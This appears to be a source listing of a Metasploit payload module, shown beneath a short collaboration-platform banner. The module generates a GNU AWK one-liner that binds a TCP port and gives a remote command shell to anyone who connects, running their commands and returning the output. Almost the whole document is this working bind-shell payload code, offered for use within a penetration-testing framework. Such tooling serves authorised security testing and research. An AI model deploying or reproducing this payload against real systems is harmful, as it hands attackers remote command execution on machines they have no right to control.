Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 140
10

11
  include Msf::Payload::Single
12
  include Msf::Sessions::CommandShellOptions
13

14
  def initialize(info = {})
15
    super(merge_info(info,
16
      'Name'          => 'Unix Command Shell, Bind TCP (via AWK)',
17
      'Description'   => 'Listen for a connection and spawn a command shell via GNU AWK',
18
      'Author'        =>
19
        [
20
          'espreto <robertoespreto[at]gmail.com>',
21
          'Ulisses Castro <uss.thebug[at]gmail.com>'
22
        ],
23
      'License'       => MSF_LICENSE,
24
      'Platform'      => 'unix',
25
      'Arch'          => ARCH_CMD,
26
      'Handler'       => Msf::Handler::BindTcp,
27
      'Session'       => Msf::Sessions::CommandShell,
28
      'PayloadType'   => 'cmd',
29
      'RequiredCmd'   => 'gawk',
30
      'Payload'       =>
31
        {
32
          'Offsets' => { },
33
          'Payload' => ''
34
        }
35
      ))
36
  end
37

38
  #
39
  # Constructs the payload
40
  #
41
  def generate(_opts = {})
42
    super + command_string
43
  end
44

45
  #
46
  # Returns the command string to use for execution
47
  #
48
  def command_string
49
    awkcmd = <<~AWK
50
      awk 'BEGIN{
51
        s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";
52
        do{
53
          if((s|&getline c)<=0)
54
            break;
55
          if(c){
56
            while((c|&getline)>0)print $0|&s;
57
            close(c)
58
          }
59
        } while(c!=\"exit\")
60
        close(s)
61
      }'
62
    AWK
63
    awkcmd.gsub!("\n",'').gsub!('  ', '')
64
  end
65

66
end
67

68